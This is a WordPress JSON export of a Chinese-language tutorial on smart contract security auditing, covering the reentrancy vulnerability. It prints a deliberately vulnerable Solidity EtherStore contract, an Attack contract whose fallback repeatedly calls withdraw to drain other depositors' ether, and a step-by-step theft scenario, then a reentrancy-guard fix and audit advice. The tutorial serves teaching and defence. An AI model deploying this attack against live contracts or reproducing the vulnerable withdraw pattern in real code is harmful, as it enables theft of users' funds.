{"id":4324,"date":"2026-10-01T17:57:36","date_gmt":"2026-10-01T09:57:36","guid":{"rendered":"https:\/\/www.ydsw.net\/?p=4324"},"modified":"2026-10-01T17:57:36","modified_gmt":"2026-10-01T09:57:36","slug":"%e6%99%ba%e8%83%bd%e5%90%88%e7%ba%a6%e5%ae%89%e5%85%a8%e5%ae%a1%e8%ae%a1%e5%85%a5%e9%97%a8%e7%af%87-%e9%87%8d%e5%85%a5%e6%bc%8f%e6%b4%9e-2","status":"publish","type":"post","link":"https:\/\/www.gzmgg.com\/?p=4324","title":{"rendered":"\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u5ba1\u8ba1\u5165\u95e8\u7bc7 \u2014\u2014 \u91cd\u5165\u6f0f\u6d1e"},"content":{"rendered":"<p>By\uff1a\u5c0f\u767d@\u6162\u96fe\u5b89\u5168\u56e2\u961f<\/p>\n<p><strong>\u80cc\u666f\u6982\u8ff0<\/strong><\/p>\n<p>\u770b\u4e86\u4e00\u4e2a\u5173\u4e8e\u5b66\u4e60 solidity \u7684\u7ad9\uff08https:\/\/solidity-by-example.org\uff09\uff0c\u91cc\u9762\u8bb2\u4e86\u5173\u4e8e solidity \u667a\u80fd\u5408\u7ea6\u7684\u5f88\u591a\u6f0f\u6d1e\uff0c\u8003\u8651\u5230\u73b0\u5728\u9488\u5bf9\u667a\u80fd\u5408\u7ea6\u7684\u653b\u51fb\u4e8b\u4ef6\u9891\u9891\u53d1\u751f\uff0c\u4e0d\u6cd5\u5206\u5b50\u76d7\u53d6\u7684\u52a0\u5bc6\u8d44\u4ea7\u8d8a\u6765\u8d8a\u591a\uff0c\u6211\u5c31\u60f3\u5199\u4e00\u4e9b\u4e0e\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u5ba1\u8ba1\u76f8\u5173\u7684\u6587\u7ae0\u7ed9\u60f3\u4e86\u89e3\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u5ba1\u8ba1\u7684\u5165\u95e8\u8005\u9605\u8bfb\uff0c\u8ba9\u4e00\u4e9b\u5bf9\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u5ba1\u8ba1\u611f\u5174\u8da3\u7684\u521d\u5b66\u8005\u53ef\u4ee5\u5b66\u5230\u5982\u4f55\u8bc6\u522b\u4e00\u4e9b\u5e38\u89c1\u7684\u6f0f\u6d1e\u548c\u5982\u4f55\u5229\u7528\u8fd9\u4e9b\u6f0f\u6d1e\u53bb\u505a\u4ec0\u4e48\u4e8b\u60c5\u3002\u8fd9\u6b21\u6211\u4eec\u5c31\u4e00\u8d77\u5148\u770b\u4e00\u4e2a\u5f88\u7ecf\u5178\u7684\u6f0f\u6d1e \u2014\u2014\u00a0<strong>\u91cd\u5165\u6f0f\u6d1e<\/strong>\u3002<\/p>\n<p><strong>\u524d\u7f6e\u77e5\u8bc6<\/strong><\/p>\n<p>\u91cd\u5165\u6f0f\u6d1e\u76f8\u4fe1\u5927\u5bb6\u90fd\u6709\u6240\u8033\u95fb\u4e86\uff0c\u90a3\u4e48\u4ec0\u4e48\u662f\u91cd\u5165\u6f0f\u6d1e\u5462\uff1f<\/p>\n<p>\u4ee5\u592a\u574a\u667a\u80fd\u5408\u7ea6\u7684\u7279\u70b9\u4e4b\u4e00\u662f\u5408\u7ea6\u4e4b\u95f4\u53ef\u4ee5\u8fdb\u884c\u76f8\u4e92\u95f4\u7684\u5916\u90e8\u8c03\u7528\u3002\u540c\u65f6\uff0c\u4ee5\u592a\u574a\u7684\u8f6c\u8d26\u4e0d\u4ec5\u4ec5\u5c40\u9650\u4e8e\u5916\u90e8\u8d26\u6237\uff0c\u5408\u7ea6\u8d26\u6237\u540c\u6837\u53ef\u4ee5\u62e5\u6709\u4ee5\u592a\u5e76\u8fdb\u884c\u8f6c\u8d26\u7b49\u64cd\u4f5c\uff0c\u4e14\u5408\u7ea6\u5728\u63a5\u6536\u4ee5\u592a\u7684\u65f6\u5019\u4f1a\u89e6\u53d1 fallback \u51fd\u6570\u6267\u884c\u76f8\u5e94\u7684\u903b\u8f91\uff0c\u8fd9\u662f\u4e00\u79cd\u9690\u85cf\u7684\u5916\u90e8\u8c03\u7528\u3002<\/p>\n<p>\u6211\u4eec\u5148\u7ed9\u91cd\u5165\u6f0f\u6d1e\u4e0b\u4e2a\u5b9a\u4e49\uff1a\u53ef\u4ee5\u8ba4\u4e3a\u5408\u7ea6\u4e2d\u6240\u6709\u7684\u5916\u90e8\u8c03\u7528\u90fd\u662f\u4e0d\u5b89\u5168\u7684\uff0c\u90fd\u6709\u53ef\u80fd\u5b58\u5728\u91cd\u5165\u6f0f\u6d1e\u3002\u4f8b\u5982\uff1a\u5982\u679c\u5916\u90e8\u8c03\u7528\u7684\u76ee\u6807\u662f\u4e00\u4e2a\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u7684\u6076\u610f\u7684\u5408\u7ea6\uff0c\u90a3\u4e48\u5f53\u88ab\u653b\u51fb\u7684\u5408\u7ea6\u5728\u8c03\u7528\u6076\u610f\u5408\u7ea6\u7684\u65f6\u5019\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u6076\u610f\u7684\u903b\u8f91\u7136\u540e\u518d\u91cd\u65b0\u8fdb\u5165\u5230\u88ab\u653b\u51fb\u5408\u7ea6\u7684\u5185\u90e8\uff0c\u901a\u8fc7\u8fd9\u6837\u7684\u65b9\u5f0f\u6765\u53d1\u8d77\u4e00\u7b14\u975e\u9884\u671f\u7684\u5916\u90e8\u8c03\u7528\uff0c\u4ece\u800c\u5f71\u54cd\u88ab\u653b\u51fb\u5408\u7ea6\u6b63\u5e38\u7684\u6267\u884c\u903b\u8f91\u3002<\/p>\n<p><strong>\u6f0f\u6d1e\u793a\u4f8b<\/strong><\/p>\n<p>\u597d\u4e86\uff0c\u770b\u5b8c\u4e0a\u9762\u7684\u524d\u7f6e\u77e5\u8bc6\u6211\u76f8\u4fe1\u5927\u5bb6\u5bf9\u91cd\u5165\u6f0f\u6d1e\u90fd\u6709\u4e86\u4e00\u4e2a\u5927\u81f4\u7684\u4e86\u89e3\uff0c\u90a3\u4e48\u5728\u771f\u5b9e\u7684\u73af\u5883\u4e2d\u5f00\u53d1\u8005\u5199\u51fa\u4ec0\u4e48\u6837\u7684\u4ee3\u7801\u4f1a\u51fa\u73b0\u91cd\u5165\u6f0f\u6d1e\u5462\uff0c\u4e0b\u9762\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u6bd4\u8f83\u5178\u578b\u7684\u6709\u91cd\u5165\u6f0f\u6d1e\u7684\u4ee3\u7801\uff1a<\/p>\n<blockquote><p>\/\/ SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract EtherStore { mapping(address =&gt; uint) public balances;<\/p><\/blockquote>\n<blockquote><p> function deposit() public payable { balances[msg.sender] += msg.value; }<\/p><\/blockquote>\n<blockquote><p> function withdraw() public { uint bal = balances[msg.sender]; require(bal &gt; 0);<\/p><\/blockquote>\n<blockquote><p> (bool sent, ) = msg.sender.call{value: bal}(\\&#8221;\\&#8221;); require(sent, \\&#8221;Failed to send Ether\\&#8221;);<\/p><\/blockquote>\n<blockquote><p> balances[msg.sender] = 0; }<\/p><\/blockquote>\n<blockquote><p> \/\/ Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}<\/p><\/blockquote>\n<p><\/p>\n<p><strong>\u6f0f\u6d1e\u5206\u6790<\/strong><\/p>\n<p>\u770b\u5230\u8fd9\u91cc\u5927\u5bb6\u53ef\u80fd\u4f1a\u6709\u7591\u60d1\u4e86\uff0c\u4e0a\u9762\u7684\u4ee3\u7801\u5c31\u662f\u4e2a\u666e\u901a\u7684\u5145\u63d0\u5e01\u7684\u5408\u7ea6\uff0c\u51ed\u4ec0\u4e48\u8bf4\u4ed6\u6709\u91cd\u5165\u653b\u51fb\u5462\uff1f\u6211\u4eec\u6765\u770b\u8fd9\u4e2a\u5408\u7ea6\u7684 withdraw \u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e2d\u7684\u8f6c\u8d26\u64cd\u4f5c\u6709\u4e00\u4e2a\u5916\u90e8\u8c03\u7528\uff08msg.sender.call{value: bal}\uff09\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u8ba4\u4e3a\u8fd9\u4e2a\u5408\u7ea6\u662f\u53ef\u80fd\u6709\u91cd\u5165\u6f0f\u6d1e\u7684\uff0c\u4f46\u662f\u5177\u4f53\u80fd\u5426\u4ea7\u751f\u5371\u5bb3\u8fd8\u9700\u8981\u66f4\u6df1\u5165\u7684\u5206\u6790\uff1a<\/p>\n<p>1. \u6240\u6709\u7684\u5916\u90e8\u8c03\u7528\u90fd\u662f\u4e0d\u5b89\u5168\u7684\u4e14\u5408\u7ea6\u5728\u63a5\u6536\u4ee5\u592a\u7684\u65f6\u5019\u4f1a\u89e6\u53d1 fallback \u51fd\u6570\u6267\u884c\u76f8\u5e94\u7684\u903b\u8f91\uff0c\u8fd9\u662f\u4e00\u79cd\u9690\u85cf\u7684\u5916\u90e8\u8c03\u7528\uff0c\u8fd9\u79cd\u9690\u85cf\u7684\u5916\u90e8\u8c03\u7528\u662f\u5426\u4f1a\u9020\u6210\u5371\u5bb3\u5462\uff1f<\/p>\n<p>2. \u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5728 withdraw \u51fd\u6570\u4e2d\u662f\u5148\u6267\u884c\u5916\u90e8\u8c03\u7528\u8fdb\u884c\u8f6c\u8d26\u540e\u624d\u5c06\u8d26\u6237\u4f59\u989d\u6e05\u96f6\u7684\uff0c\u90a3\u6211\u4eec\u53ef\u4e0d\u53ef\u4ee5\u5728\u8f6c\u8d26\u5916\u90e8\u8c03\u7528\u7684\u65f6\u5019\u6784\u9020\u4e00\u4e2a\u6076\u610f\u7684\u903b\u8f91\u5408\u7ea6\u5728\u5408\u7ea6\u6267\u884c balance[msg.sender]=0 \u4e4b\u524d\u4e00\u76f4\u5faa\u73af\u8c03\u7528 withdraw \u51fd\u6570\u4e00\u76f4\u63d0\u5e01\u4ece\u800c\u5c06\u5408\u7ea6\u8d26\u6237\u6e05\u7a7a\u5462\uff1f<\/p>\n<p>\u4e0b\u9762\u6211\u4eec\u770b\u770b\u653b\u51fb\u8005\u7f16\u5199\u7684\u653b\u51fb\u5408\u7ea6\u4e2d\u7684\u653b\u51fb\u624b\u6cd5\u662f\u5426\u4e0e\u6211\u4eec\u7684\u6f0f\u6d1e\u5206\u6790\u76f8\u540c\uff1a<\/p>\n<p><strong>\u653b\u51fb\u5408\u7ea6<\/strong><\/p>\n<blockquote><p>contract Attack { EtherStore public etherStore;<\/p><\/blockquote>\n<blockquote><p> constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); }<\/p><\/blockquote>\n<blockquote><p> \/\/ Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance &gt;= 1 ether) { etherStore.withdraw(); } }<\/p><\/blockquote>\n<blockquote><p> function attack() external payable { require(msg.value &gt;= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); }<\/p><\/blockquote>\n<blockquote><p> \/\/ Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}<\/p><\/blockquote>\n<p><\/p>\n<p>\u6211\u4eec\u770b\u5230 EtherStore \u5408\u7ea6\u662f\u4e00\u4e2a\u5145\u63d0\u5408\u7ea6\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u5176\u4e2d\u5145\u63d0\u4ee5\u592a\u3002\u4e0b\u9762\u6211\u4eec\u5c06\u5229\u7528\u653b\u51fb\u5408\u7ea6\u5c06 EtherStore \u5408\u7ea6\u4e2d\u7528\u6237\u7684\u4f59\u989d\u6e05\u96f6\u7684\uff1a<\/p>\n<p>\u8fd9\u91cc\u6211\u4eec\u5c06\u5f15\u7528\u4e09\u4e2a\u89d2\u8272\uff0c\u5206\u522b\u4e3a\uff1a<\/p>\n<p>\u7528\u6237\uff1aAlice\uff0cBob<\/p>\n<p>\u653b\u51fb\u8005\uff1aEve<\/p>\n<p>1. \u90e8\u7f72 EtherStore \u5408\u7ea6\uff1b<\/p>\n<p>2. \u7528\u6237 1\uff08Alice\uff09\u548c\u7528\u6237 2\uff08Bob\uff09\u90fd\u5206\u522b\u5c06 1 \u4e2a\u4ee5\u592a\u5e01\u5145\u503c\u5230 EtherStore \u5408\u7ea6\u4e2d\uff1b<\/p>\n<p>3. \u653b\u51fb\u8005 Eve \u90e8\u7f72 Attack \u5408\u7ea6\u65f6\u4f20\u5165 EtherStore \u5408\u7ea6\u7684\u5730\u5740\uff1b<\/p>\n<p>4. \u653b\u51fb\u8005 Eve \u8c03\u7528 Attack.attack \u51fd\u6570\uff0cAttack.attack \u53c8\u8c03\u7528 EtherStore.deposit \u51fd\u6570\uff0c\u5145\u503c 1 \u4e2a\u4ee5\u592a\u5e01\u5230 EtherStore \u5408\u7ea6\u4e2d\uff0c\u6b64\u65f6 EtherStore \u5408\u7ea6\u4e2d\u5171\u6709 3 \u4e2a\u4ee5\u592a\uff0c\u5206\u522b\u4e3a Alice\u3001Bob \u7684 2 \u4e2a\u4ee5\u592a\u548c\u653b\u51fb\u8005 Eve \u521a\u521a\u5145\u503c\u8fdb\u53bb\u7684 1 \u4e2a\u4ee5\u592a\u3002\u7136\u540e Attack.attack \u53c8\u8c03\u7528 EtherStore.withdraw \u51fd\u6570\u5c06\u81ea\u5df1\u521a\u521a\u5145\u503c\u7684\u4ee5\u592a\u53d6\u51fa\uff0c\u6b64\u65f6 EtherStore \u5408\u7ea6\u4e2d\u5c31\u53ea\u5269\u4e0b Alice\u3001Bob \u7684 2 \u4e2a\u4ee5\u592a\u4e86\uff1b<\/p>\n<p>5. \u5f53 Attack.attack \u8c03\u7528 EtherStore.withdraw \u63d0\u53d6\u4e86\u5148\u524d Eve \u5145\u503c\u7684 1 \u4e2a\u4ee5\u592a\u65f6\u4f1a\u89e6\u53d1 Attack.fallback \u51fd\u6570\u3002\u8fd9\u65f6\u53ea\u8981 EtherStore \u5408\u7ea6\u4e2d\u7684\u4ee5\u592a\u5927\u4e8e\u6216\u7b49\u4e8e 1 Attack.fallback \u5c31\u4f1a\u4e00\u76f4\u8c03\u7528 EtherStore.withdraw \u51fd\u6570\u5c06 EtherStore \u5408\u7ea6\u4e2d\u7684\u4ee5\u592a\u63d0\u53d6\u5230 Attack \u5408\u7ea6\u4e2d\uff0c\u76f4\u5230 EtherStore \u5408\u7ea6\u4e2d\u7684\u4ee5\u592a\u5c0f\u4e8e 1 \u3002\u8fd9\u6837\u653b\u51fb\u8005 Eve \u4f1a\u5f97\u5230 EtherStore \u5408\u7ea6\u4e2d\u5269\u4e0b\u7684 2 \u4e2a\u4ee5\u592a\u5e01\uff08Alice\u3001Bob \u5145\u503c\u7684\u4e24\u679a\u4ee5\u592a\u5e01\uff09\u3002<\/p>\n<p>\u4e0b\u9762\u662f\u653b\u51fb\u8005\u7684\u51fd\u6570\u8c03\u7528\u6d41\u7a0b\u56fe\uff1a<\/p>\n<p><img decoding=\"async\" alt=\"solidity\" src=\"https:\/\/hx24.huoxing24.cn\/image\/crawler\/2021\/12\/09\/1639032514407014.jpg\"><\/p>\n<p><strong>\u4fee\u590d\u5efa\u8bae<\/strong><\/p>\n<p>\u770b\u4e86\u4e0a\u9762\u7684\u653b\u51fb\u624b\u6cd5\u76f8\u4fe1\u5927\u5bb6\u5bf9\u91cd\u5165\u6f0f\u6d1e\u90fd\u4f1a\u6709\u4e00\u4e2a\u81ea\u5df1\u7684\u8ba4\u77e5\uff0c\u4f46\u662f\u53ea\u4f1a\u653b\u51fb\u53ef\u4e0d\u884c\uff0c\u6211\u4eec\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u9632\u5fa1\uff0c\u90a3\u4e48\u4f5c\u4e3a\u5f00\u53d1\u4eba\u5458\u5982\u4f55\u907f\u514d\u5199\u51fa\u6f0f\u6d1e\u4ee3\u7801\u8fd8\u6709\u4f5c\u4e3a\u5ba1\u8ba1\u4eba\u5458\u5982\u4f55\u5feb\u901f\u53d1\u73b0\u95ee\u9898\u4ee3\u7801\u5462\uff0c\u4e0b\u9762\u6211\u4eec\u5c31\u4ee5\u8fd9\u4e24\u4e2a\u8eab\u4efd\u6765\u5206\u6790\u5982\u4f55\u9632\u5fa1\u91cd\u5165\u6f0f\u6d1e\u548c\u5982\u4f55\u5728\u4ee3\u7801\u4e2d\u5feb\u901f\u627e\u51fa\u91cd\u5165\u6f0f\u6d1e\uff1a<\/p>\n<p><strong>\uff081\uff09\u4f5c\u4e3a\u5f00\u53d1\u4eba\u5458<\/strong><\/p>\n<p>\u7ad9\u5728\u5f00\u53d1\u8005\u7684\u89d2\u5ea6\u6211\u4eec\u9700\u8981\u505a\u7684\u662f\u5199\u597d\u4ee3\u7801\uff0c\u907f\u514d\u91cd\u5165\u6f0f\u6d1e\u7684\u4ea7\u751f\u3002<\/p>\n<p>1. \u5199\u4ee3\u7801\u65f6\u9700\u8981\u9075\u5faa\u5148\u5224\u65ad\uff0c\u540e\u5199\u5165\u53d8\u91cf\u5728\u8fdb\u884c\u5916\u90e8\u8c03\u7528\u7684\u7f16\u7801\u89c4\u8303\uff08Checks-Effects-Interactions\uff09\uff1b<\/p>\n<p>2. \u52a0\u5165\u9632\u91cd\u5165\u9501\u3002<\/p>\n<p>\u4e0b\u9762\u662f\u4e00\u4e2a\u9632\u91cd\u5165\u9501\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n<blockquote><p>\/\/ SPDX-License-Identifier: MITpragma solidity ^0.8.3;<\/p><\/blockquote>\n<blockquote><p>contract ReEntrancyGuard { bool internal locked;<\/p><\/blockquote>\n<blockquote><p> modifier noReentrant() { require(!locked, \\&#8221;No re-entrancy\\&#8221;); locked = true; _; locked = false; }}<\/p><\/blockquote>\n<p><\/p>\n<p><strong>\uff082\uff09\u4f5c\u4e3a\u5ba1\u8ba1\u4eba\u5458<\/strong><\/p>\n<p>\u4f5c\u4e3a\u5ba1\u8ba1\u4eba\u5458\u6211\u4eec\u9700\u8981\u5173\u6ce8\u7684\u662f\u91cd\u5165\u6f0f\u6d1e\u7684\u7279\u5f81\uff1a\u6240\u6709\u6d89\u53ca\u5230\u5916\u90e8\u5408\u7ea6\u8c03\u7528\u7684\u4ee3\u7801\u4f4d\u7f6e\u90fd\u662f\u4e0d\u5b89\u5168\u7684\u3002\u8fd9\u6837\u5728\u5ba1\u8ba1\u8fc7\u7a0b\u4e2d\u9700\u8981\u91cd\u70b9\u5173\u6ce8\u5916\u90e8\u8c03\u7528\uff0c\u7136\u540e\u63a8\u6f14\u5916\u90e8\u8c03\u7528\u53ef\u80fd\u4ea7\u751f\u7684\u5371\u5bb3\uff0c\u8fd9\u6837\u5c31\u80fd\u5224\u65ad\u8fd9\u4e2a\u5730\u65b9\u662f\u5426\u4f1a\u56e0\u4e3a\u91cd\u5165\u70b9\u800c\u4ea7\u751f\u5371\u5bb3\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>By\uff1a\u5c0f\u767d@\u6162\u96fe\u5b89\u5168\u56e2\u961f \u80cc\u666f\u6982\u8ff0 \u770b\u4e86\u4e00\u4e2a\u5173\u4e8e\u5b66\u4e60 solidity \u7684\u7ad9\uff08https:\/\/solidity&#8230;<\/p>\n","protected":false},"author":3,"featured_media":2710,"comment_status":"","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-4324","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/posts\/4324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4324"}],"version-history":[{"count":1,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/posts\/4324\/revisions"}],"predecessor-version":[{"id":6957,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/posts\/4324\/revisions\/6957"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=\/wp\/v2\/media\/2710"}],"wp:attachment":[{"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gzmgg.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}